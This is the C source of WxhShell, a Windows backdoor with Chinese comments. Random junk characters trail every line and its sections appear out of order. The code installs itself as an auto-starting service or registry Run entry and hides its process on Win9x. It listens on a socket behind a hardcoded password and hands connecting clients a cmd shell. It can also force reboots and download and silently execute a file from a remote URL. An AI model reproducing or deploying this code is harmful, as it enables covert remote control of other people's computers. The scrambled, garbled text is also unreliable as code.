    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kFZw"5hb  
    if(Boot(SHUTDOWN)) PXof-W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h4N!zj[  
    else { o65:)z u  
    closesocket(wsh); {Hm0Q  
    ExitThread(0); %B5.zs]Of  
    } )F4H'  
    break; v _?0|Ei[  
    } TkXD#%nFY  
  // 获取shell a@$U?=\e  
  case 's': { Aq@_^mq1A  
    CmdShell(wsh); q[`)A?Ae  
    closesocket(wsh); 7Gd)=Q{uur  
    ExitThread(0); AD^9?Z  
    break; N>!RKf:ir  
  } "PK\;#[W|  
  // 退出 NXb_hF  
  case 'x': { 0l#gS;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kKFmTo   
    CloseIt(wsh); (NK$2A/p  
    break; QNj hA'[T  
    } p!BZTwP  
  // 离开 ]BGWJA5  
  case 'q': { 8mI eW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NPc]/n?vDj  
    closesocket(wsh); ~9c?g(0  
    WSACleanup(); *@[DG)N  
    exit(1); "W$,dWF  
    break; fx(^}e  
        } =$;i  
  } NPy{ =#k4  
  } y33+^  
RO?5WJpPj  
  // 提示信息 }UNRe]ft$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 58)`1p\c'  
} F!OVx<  
  } ykcW>h  
6!7LgM%4  
  return; }w .[ZeP  
} d~@&*1}  
-jy- KC  
// shell模块句柄 .^j6  
int CmdShell(SOCKET sock) m-9{@kgAM?  
{ EEFM1asJf  
STARTUPINFO si; E/z^~;KA  
ZeroMemory(&si,sizeof(si)); ~H!s{$.5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b)RU+9x &  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,{P*ZK3u  
PROCESS_INFORMATION ProcessInfo; #s'9Ydd  
char cmdline[]="cmd"; Wh6jr=>G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GADbXp3  
  return 0; \o3)\ e]o  
} ,tJ%t#  
mpfc2>6Il.  
// 自身启动模式 S\=j; Uem  
int StartFromService(void) jq#gFt*  
{ PhL}V|W>  
typedef struct Q`k=VSUk  
{ 7ukJ\P5[&1  
  DWORD ExitStatus; .O! JI"?  
  DWORD PebBaseAddress; (PAkKY}  
  DWORD AffinityMask; 4#Wczk-b  
  DWORD BasePriority; .v;$sst5y  
  ULONG UniqueProcessId; >a7'_n_o  
  ULONG InheritedFromUniqueProcessId; ~Z-M?8:  
}   PROCESS_BASIC_INFORMATION; 0 Y[LzLn  
WBT/;),}:  
PROCNTQSIP NtQueryInformationProcess; R{Q*"sf  
1Q1NircJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zvv<w@rX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j f25Ky~  
]G.ttfC  
  HANDLE             hProcess; :ad  
  PROCESS_BASIC_INFORMATION pbi; +k|t[N  
JW[y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _Kdqa%L !  
  if(NULL == hInst ) return 0; :L gFd  
1xN6V-qk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Au Ib>@a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iIWz\FM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5|S|S))_Q  
Pqiw[+a$  
  if (!NtQueryInformationProcess) return 0; &|>CW:)&1"  
%xZYIY Kf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BUT{}2+K  
  if(!hProcess) return 0; 2@K D '^(  
_h|rH   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *ue- x!"c  
d,kh6'g2@  
  CloseHandle(hProcess); b|mWEB.p  
A;~lG3j4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lnuf_;0  
if(hProcess==NULL) return 0; bH4'j/3  
hu}`,2  
HMODULE hMod; 9qc<m'MZ  
char procName[255]; G"w ?{W @  
unsigned long cbNeeded; 0kxo  
,#&\1Vxf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KwGk8$ U  
gB/4ro8  
  CloseHandle(hProcess); f P'qUN  
7u[U%yd  
if(strstr(procName,"services")) return 1; // 以服务启动 cQ( zBf  
&)jBr^x#>  
  return 0; // 注册表启动 Q;r9>E!  
} 48;6C g  
ct,B0(]  
// 主模块 X"_,#3Ko!  
int StartWxhshell(LPSTR lpCmdLine) ?sfas57&y  
{ `o~ dQb/k+  
  SOCKET wsl; iSD E6  
BOOL val=TRUE; *Ju$A  
  int port=0; K.3)m]dCl  
  struct sockaddr_in door; %:i; eUKR  
+M4X r *  
  if(wscfg.ws_autoins) Install(); thG;~ W  
&+V6mH9m@  
port=atoi(lpCmdLine); }diB  
n0|oV(0FE  
if(port<=0) port=wscfg.ws_port; \Tf[% Kt x  
_dOR-<  
  WSADATA data; fik*-$V`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ik[aiz  
l 2&cwjc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :)f/>-   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pxm{?eBz  
  door.sin_family = AF_INET; %`*`HU#X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R^8L^8EL  
  door.sin_port = htons(port); 5G5P#<Vv  
zTA+s 2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0 *!CJ;%N  
closesocket(wsl); ]2O52r  
return 1; @JJ,$ ?  
} CjtBQ5  
<1")JDW  
  if(listen(wsl,2) == INVALID_SOCKET) { },r30`)Q  
closesocket(wsl); BET3tiHV  
return 1; B~S"1EE[  
} _X ?W)]:  
  Wxhshell(wsl); LxD >eA  
  WSACleanup(); wHneVqI/U  
`qP <S  
return 0; Bw5zh1ALC;  
h)S223[  
} [C1 .*Q+l  
'Xj9sAB  
// 以NT服务方式启动 &f12Q&jY7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <{$0mUn;s|  
{ M0Eq 7:Ba  
DWORD   status = 0; 1Z9_sd~/6  
  DWORD   specificError = 0xfffffff; m417=wf  
b.=bgRV2{x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b*C\0D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _i@{:v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;F>$\"aG  
  serviceStatus.dwWin32ExitCode     = 0; %x$1g)  
  serviceStatus.dwServiceSpecificExitCode = 0; O>8|Lc  
  serviceStatus.dwCheckPoint       = 0; "ecG\}R=  
  serviceStatus.dwWaitHint       = 0; -nBb - y  
LjZvWts?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D@jG+k-Lm  
  if (hServiceStatusHandle==0) return; j?!BHNs  
Kob i!  
status = GetLastError(); I~:vX^%9  
  if (status!=NO_ERROR) rByC6HV"  
{ 6yDc4AX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pwj?  
    serviceStatus.dwCheckPoint       = 0; ^]nnvvp  
    serviceStatus.dwWaitHint       = 0; #&Xr2?E@  
    serviceStatus.dwWin32ExitCode     = status; LW+a-i  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~!PAs_O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SZ/}2_;  
    return; Xr?(w(3  
  } < 5 Ft3sd  
U[l7n3Y=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &G#LQl  
  serviceStatus.dwCheckPoint       = 0; cvoE4&m!  
  serviceStatus.dwWaitHint       = 0; T6T3:DG_B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m 2tw[6M  
} 6??o(ziK$  
G)p pkH`qj  
// 处理NT服务事件,比如:启动、停止 Cxn<#Kf\-<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *t_"]v-w  
{ fY)Dx c&ue  
switch(fdwControl) <n8K"(sy}  
{ w$ zX.;s  
case SERVICE_CONTROL_STOP: \0}!qG![AA  
  serviceStatus.dwWin32ExitCode = 0; YIP /N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {VB n@^'s  
  serviceStatus.dwCheckPoint   = 0; yr4j  
  serviceStatus.dwWaitHint     = 0; g43j-[j)  
  { 5m.{ayE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7'c ;$~  
  } +I>u${sVx*  
  return; <K^{36h  
case SERVICE_CONTROL_PAUSE: H C %tJ:G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hxwo<wEg  
  break; B=0U^wL  
case SERVICE_CONTROL_CONTINUE: :5Y yI.T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A&HN7C%X  
  break; +[LG>  
case SERVICE_CONTROL_INTERROGATE: -4rXOmiA  
  break; z%lu%   
}; 'hEvW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VnZRsFY<^  
} ].=~C"s,a  
#3b_ #+,  
// 标准应用程序主函数 sj;n1t}$S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qs38VlR_m  
{ tl:V8sYTP  
+"sjkdum1  
// 获取操作系统版本 4trP*u,4  
OsIsNt=GetOsVer(); Ry$zF~[   
GetModuleFileName(NULL,ExeFile,MAX_PATH); we4k VAn  
!ucHLo3:  
  // 从命令行安装 F&tU^(7<  
  if(strpbrk(lpCmdLine,"iI")) Install(); Dd:TFZo  
]lX`[HX7  
  // 下载执行文件 xz$-_NWW  
if(wscfg.ws_downexe) { (-<s[VnXP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y/%(4q*'  
  WinExec(wscfg.ws_filenam,SW_HIDE); GnX+.uQL|  
} jTR>H bh  
3MmpB9l#H  
if(!OsIsNt) { (D.B'V#>  
// 如果时win9x,隐藏进程并且设置为注册表启动 :,@"I$>*/  
HideProc(); _Q9Mn-&qQ  
StartWxhshell(lpCmdLine); )bd)noZi  
} $#ve^.VHv  
else -Kas9\VWEw  
  if(StartFromService()) :4Gc'b R  
  // 以服务方式启动 ?S*Cvr+=4  
  StartServiceCtrlDispatcher(DispatchTable); #[ H4`hZ  
else &oz^dlw  
  // 普通方式启动 Az+k8=?  
  StartWxhshell(lpCmdLine); u<g0oEs)  
r<%ua6@  
return 0; H^VNw1.   
} lQ8h-Tz  
h_( #U)z_3  
/?ZO-]q  
B4D#T lB  
=========================================== Oc6_x46S4  
ifXGH>C  
EZ"n3#/  
@5["L  
8Q{"W"]O7  
NsPAWI|4  
" ;u(#-C2^{l  
*]7$/%.D  
#include <stdio.h> -ho%9LW%|  
#include <string.h> 8[k:FGp>  
#include <windows.h> 5 O't-'  
#include <winsock2.h> <UEta>jj  
#include <winsvc.h> Daw;6f:  
#include <urlmon.h> 8gHOs#\  
483/ZgzT`  
#pragma comment (lib, "Ws2_32.lib") Nv~H797B  
#pragma comment (lib, "urlmon.lib") iL$~d@AEn  
FI(iqSJ6  
#define MAX_USER   100 // 最大客户端连接数 d3[O!4<T  
#define BUF_SOCK   200 // sock buffer >=6 j:  
#define KEY_BUFF   255 // 输入 buffer <Jf[N=  
|3bCq(ZR\P  
#define REBOOT     0   // 重启 s3/iG37K  
#define SHUTDOWN   1   // 关机 nF)b4`Nd  
Uh w:XV@m  
#define DEF_PORT   5000 // 监听端口 f`gs/R  
qk{+Y  
#define REG_LEN     16   // 注册表键长度 @W1F4HYds  
#define SVC_LEN     80   // NT服务名长度 m8T< x>  
n9%&HDl4  
// 从dll定义API b2tUJ2p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *QGyF`Go{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0Ym_l?]m[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nOCCOTf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^H(,^cVN  
^vY[d]R _\  
// wxhshell配置信息 +%~/~1  
struct WSCFG { q:/3uC7   
  int ws_port;         // 监听端口 pBxyq"z  
  char ws_passstr[REG_LEN]; // 口令 W5^<4Ya!  
  int ws_autoins;       // 安装标记, 1=yes 0=no ${F4x"x  
  char ws_regname[REG_LEN]; // 注册表键名 +F4SU(T  
  char ws_svcname[REG_LEN]; // 服务名 q`0wG3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )Jaq5OMA/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iLbf:DXK(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n/6qc3\5i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E*Z# fa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }T~ }W8H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [S_qi,  
S]x\Asj;w  
}; `3e>JIl"0  
!qe:M]C'l  
// default Wxhshell configuration Wb%t6N?  
struct WSCFG wscfg={DEF_PORT, V{{Xz:   
    "xuhuanlingzhe", Bnfp_SM  
    1, g}OZ!mKd  
    "Wxhshell", 1!=^mu8  
    "Wxhshell", >]}c,4D(  
            "WxhShell Service", 1PUeU+  
    "Wrsky Windows CmdShell Service", >+FaPym  
    "Please Input Your Password: ", s qEOXO  
  1, 'JRYf;9c  
  "http://www.wrsky.com/wxhshell.exe", >X_5o^s2s  
  "Wxhshell.exe" =#>F' A  
    }; }{S+C[:_  
:V!F~  
// 消息定义模块 p9-s'F|@i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rQsYt/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eUVhNg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 63fg l+  
char *msg_ws_ext="\n\rExit."; $.F.xYS9IJ  
char *msg_ws_end="\n\rQuit."; -(lCM/h  
char *msg_ws_boot="\n\rReboot..."; g2%fla7r  
char *msg_ws_poff="\n\rShutdown..."; KL\hV .6  
char *msg_ws_down="\n\rSave to "; d` X1cG  
$4:Se#nl  
char *msg_ws_err="\n\rErr!"; He)!Ez\X  
char *msg_ws_ok="\n\rOK!"; _Q9I W  
z=6zc-$y 9  
char ExeFile[MAX_PATH]; !T"jvDYH  
int nUser = 0; {fI"p;|  
HANDLE handles[MAX_USER]; H(gETRh  
int OsIsNt;  ae>B0#=  
IBz)3gj J  
SERVICE_STATUS       serviceStatus; sXwa`_{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F #)@ c  
E<[ Y KY  
// 函数声明 fZavZ\qU  
int Install(void); Q;?rqi ,  
int Uninstall(void); Ih<.2  
int DownloadFile(char *sURL, SOCKET wsh); _$P1N^}Zs  
int Boot(int flag); n+57# pS7  
void HideProc(void); NHQi_U  
int GetOsVer(void); rK[;wD<  
int Wxhshell(SOCKET wsl); t Uk)S  
void TalkWithClient(void *cs); b!JrdJO,DP  
int CmdShell(SOCKET sock); d T7!+)s5-  
int StartFromService(void); ;R([w4[~  
int StartWxhshell(LPSTR lpCmdLine); 3_ ZlZ_Tq  
2C AR2V|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .$ X|96~$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WRp0.  
dUH+7.\  
// 数据结构和表定义 KP&$Sl  
SERVICE_TABLE_ENTRY DispatchTable[] = =`ECM7  
{ |@BX*r  
{wscfg.ws_svcname, NTServiceMain}, [=TD)o>W(p  
{NULL, NULL} vMzBp#MT  
}; i:|e#$x  
_>E=.$  
// 自我安装 @y2cC6+'t  
int Install(void) 9/h[(qvT  
{ 8l*h\p:Q  
  char svExeFile[MAX_PATH]; FGzn|I  
  HKEY key; k`B S{,=  
  strcpy(svExeFile,ExeFile); _t>[gB,  
l\WN  
// 如果是win9x系统,修改注册表设为自启动 3}lIY7 O  
if(!OsIsNt) { y& (pt!I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .Vrl:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OCELG~  
  RegCloseKey(key); >BZ,g!N,J}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /s@j{*Om  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C@WdPjxj  
  RegCloseKey(key); o8X? 1  
  return 0; ?&-$Zog  
    } mLfY^&2Pr  
  } \U>|^$4 #5  
} G_`Ae%'h  
else { |RL\2j|  
,WBKN)%u  
// 如果是NT以上系统,安装为系统服务 iGN6'm`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EE-wi@  
if (schSCManager!=0) phR:=Ox|1  
{ 89j*uT  
  SC_HANDLE schService = CreateService trZU_eouI  
  ( c{j)beaS  
  schSCManager, uann'ho?q  
  wscfg.ws_svcname, s6k(K>Pl  
  wscfg.ws_svcdisp, S1#5oy2  
  SERVICE_ALL_ACCESS, c8Nl$|B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Nw '$r  
  SERVICE_AUTO_START, Q^8/"aV\  
  SERVICE_ERROR_NORMAL, 8@/MrEOW#  
  svExeFile, FXul u6"SX  
  NULL, Fl!D2jnN  
  NULL, YjiMUi\V  
  NULL, _ glB<r$  
  NULL,  =>XjChM  
  NULL @0V4$OoFl  
  ); 1\J9QZX0  
  if (schService!=0) |rI;OvZ\  
  { 29zMs9oKPP  
  CloseServiceHandle(schService); \U<d)j/  
  CloseServiceHandle(schSCManager); 5w%[|%KG:L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VRTJKi  
  strcat(svExeFile,wscfg.ws_svcname); Wm4C(y@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &Im-@rV!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )J?8"+_Y  
  RegCloseKey(key); ]X> I(p@  
  return 0; kN6 jX  
    } ,H_d#Koa.  
  } rX0 ?m:&m  
  CloseServiceHandle(schSCManager); R'pfA B|!  
} M+I9k;N6&  
} ~~@dbB  
_WZ{i,  
return 1; sR^b_/ElxT  
} y>cLG5v  
#jsN  
// 自我卸载 Bus]OF>hu  
int Uninstall(void) 4dy!2KZN  
{ tt|P-p-  
  HKEY key; -qBdcbi|x)  
aQ-SrxmO8  
if(!OsIsNt) { p W@Yr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 86>@.:d  
  RegDeleteValue(key,wscfg.ws_regname); sN K^.0  
  RegCloseKey(key); J50n E~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cG&@PO]+.  
  RegDeleteValue(key,wscfg.ws_regname); hcM9Sx"!  
  RegCloseKey(key); 2B^WZlx  
  return 0; kgI8PybY  
  } NkoyEa/^[  
} {9* l  
} T-h[$fxR_  
else { +F.@n_}p-I  
jrpki<D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8n["/5,  
if (schSCManager!=0) ^\[c][fo  
{ N,UUM|?9_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "MK2QIo  
  if (schService!=0) b7'l3mQjk  
  { %{rPA3Xoy  
  if(DeleteService(schService)!=0) { _SkiO }c8  
  CloseServiceHandle(schService); 9Vl}f^Gn  
  CloseServiceHandle(schSCManager); ! ?>I  
  return 0; L={\U3 __k  
  } wR,}#m,  
  CloseServiceHandle(schService); ^j2ve's:  
  } L c )i  
  CloseServiceHandle(schSCManager); >cpv4Pgm  
} abv*X 1  
} l%xTF@4e  
?op;#/Q(  
return 1; ~7FS'!W,F  
} 1CR\!?  
<Mu T7x-  
// 从指定url下载文件 #^yOW^  
int DownloadFile(char *sURL, SOCKET wsh) 4|\  
{ x$t2Y<_  
  HRESULT hr; *3]2vq  
char seps[]= "/"; _BONN6=*y  
char *token; e*}:t H  
char *file; ysPm4am$  
char myURL[MAX_PATH]; l*{Bz5hc  
char myFILE[MAX_PATH]; HCCq9us  
S}cR+d1}h  
strcpy(myURL,sURL); ~2 nt33"  
  token=strtok(myURL,seps); SurreD<x  
  while(token!=NULL) )a5ON8?  
  { y4r?M8]"r  
    file=token; !X||ds  
  token=strtok(NULL,seps); @eDs)mY  
  } KYwUkuw)  
[LQOP3f  
GetCurrentDirectory(MAX_PATH,myFILE); vz|(KN[  
strcat(myFILE, "\\"); ]O{i?tyX  
strcat(myFILE, file); C]fX=~?bGQ  
  send(wsh,myFILE,strlen(myFILE),0); _q}Cnp5  
send(wsh,"...",3,0); CI\yP@DQ4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J{\(Y#|rHs  
  if(hr==S_OK) &['L7  
return 0; Mlr'h}:H  
else j9yOkaVEg  
return 1; |i~-,:/-Y  
BsL+9lNue  
} @!j6y (@  
8TG|frS  
// 系统电源模块 O}(sn  
int Boot(int flag) Pt cq/f  
{ w^=(:`  
  HANDLE hToken; 54B`T/>R:E  
  TOKEN_PRIVILEGES tkp; ZJ~0o2xZ'  
kr@!j@j$  
  if(OsIsNt) { ! 2knS S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~H:=p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U&=pKbTe  
    tkp.PrivilegeCount = 1; 8aC=k@YE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _n!>*A!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Kv9FqrDj  
if(flag==REBOOT) { kM[!UOnC!<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oO`a{n-  
  return 0; 4)>UTMF  
} %O f w"W  
else { 3aBE[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @'5*jXd  
  return 0; w<zzS: PF*  
} wjZ Q.T!  
  } Gy;Fe=  
  else { zGNW5S9G  
if(flag==REBOOT) { GU9G5S.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u!HX`~q+A  
  return 0; (+0(A777M  
} zg@i7T  
else { z@o6[g/*Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (C1~>7L  
  return 0; CE!cZZ  
} >,tJq %  
} SS24@:"{  
Slj U=,  
return 1; KATf9-Sz  
} c~ vql4  
_cC1u7U9  
// win9x进程隐藏模块 1 0.Z Bfn  
void HideProc(void) r NKeY48\  
{ _~{J."q  
S8+l!$7   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ya5HAs  
  if ( hKernel != NULL ) Iz83T9I&  
  { Q`6hJgyL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~l?c.CS d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N$v_z>6Z  
    FreeLibrary(hKernel); _L` uC jA  
  } u^B!6Sj8  
m+:JNgX6  
return; "EA =auN{  
} %`K{0b  
63_#*6Pv28  
// 获取操作系统版本 Ayv:Pv@  
int GetOsVer(void) V6_5v+n  
{ );y ZyWDV  
  OSVERSIONINFO winfo; dtTfV.y4w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]Hq,Pr_+  
  GetVersionEx(&winfo); akPd#mf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Iw`|,-|  
  return 1; N 3O!8A_  
  else _?y3&4N)  
  return 0; |Kjfh};-C  
} 8B-mZFXpK  
'p\&Mc_Gu  
// 客户端句柄模块 Cg%Owe/E?0  
int Wxhshell(SOCKET wsl) ki}Li*)7  
{ Y~Vc|zM^(  
  SOCKET wsh; kOdpW  
  struct sockaddr_in client; I$x<B7U  
  DWORD myID; GVu[X?q@|  
p:$kX9mT&  
  while(nUser<MAX_USER) s-(c-E09  
{ 7HY8 F5Brx  
  int nSize=sizeof(client); S.`hl/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MxI*ml8z?  
  if(wsh==INVALID_SOCKET) return 1; 5Ma."?rW   
%.wR@9?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q9h=1G\K  
if(handles[nUser]==0) 5} <OB-9  
  closesocket(wsh); E(_k#X  
else 'vu]b#l3  
  nUser++; ZZwIB3sNhf  
  } zBwqIJfM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V@s93kh  
,)!%^ ~v  
  return 0; ntB#2S  
} 7lAJ 0  
{oF;ZM'r  
// 关闭 socket Vr"'O6  
void CloseIt(SOCKET wsh) Y,yU460T8  
{ s]`6u yW"  
closesocket(wsh);  b{)kup  
nUser--; {q+gm1iC  
ExitThread(0); . XbDb  
} 8.^`~ta  
N?#L{Yt  
// 客户端请求句柄 Zn40NKYc  
void TalkWithClient(void *cs) 8''1H<f  
{ E BoC,{R#  
mA%}ijR6y  
  SOCKET wsh=(SOCKET)cs; ,' t&L]  
  char pwd[SVC_LEN]; d8R|0RZ  
  char cmd[KEY_BUFF]; (fr=[m$`  
char chr[1]; -^t.eZ*|  
int i,j; d2US~.;>l  
7QZy d-  
  while (nUser < MAX_USER) { \*BRFUAc  
I(3~BOUn_  
if(wscfg.ws_passstr) { |; mET  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &e3}Vop  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yw%E S  
  //ZeroMemory(pwd,KEY_BUFF); s?;V!t  
      i=0; '/Vm[L$d  
  while(i<SVC_LEN) { ;"e55|d9I  
b"}ya/  
  // 设置超时 IG;= |  
  fd_set FdRead; Oml3=TV  
  struct timeval TimeOut; [T)>RF  
  FD_ZERO(&FdRead); >Wx9a"H^(  
  FD_SET(wsh,&FdRead); Q>;Aq!mr=  
  TimeOut.tv_sec=8; W>Pcj EI  
  TimeOut.tv_usec=0; 4T"L#o1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V4CA*FEA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D'{ o3Q,%K  
nygeR|:\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vl}}h%BC  
  pwd=chr[0]; 5 3pfo:1'  
  if(chr[0]==0xd || chr[0]==0xa) { pNuU{:9 B0  
  pwd=0; nehk8+eV_  
  break; 2$b1q!g<  
  } vO"E4s  
  i++; 0R+p\Nc&1  
    } wt'"<UN  
){u# (sW  
  // 如果是非法用户,关闭 socket j5[ >HL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -Gl!W`$I `  
} p14$XV  
k%-UW%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?$<~cD" Sw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CI \O)iB  
p<Tg}fg  
while(1) { GMLx$?=j  
yDe*-N\'W  
  ZeroMemory(cmd,KEY_BUFF); L"?4}U:  
?;(!(<{  
      // 自动支持客户端 telnet标准   JJM!pD\h  
  j=0; 0|0IIgy  
  while(j<KEY_BUFF) { kf~>%tES]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EL2z&  
  cmd[j]=chr[0]; j E5=e</  
  if(chr[0]==0xa || chr[0]==0xd) { nSZp,?^  
  cmd[j]=0; Kuk@x.~0m  
  break; yTe25l{QaF  
  } fHI@' '0  
  j++; #L*MMC"  
    } [5M!'  
VzcW9'"#  
  // 下载文件 /z)8k4  
  if(strstr(cmd,"http://")) { ,g|ht%"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U}=H1f,  
  if(DownloadFile(cmd,wsh)) M3GFKWQI,`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6OQ\f,h@  
  else (f#{<^gd  
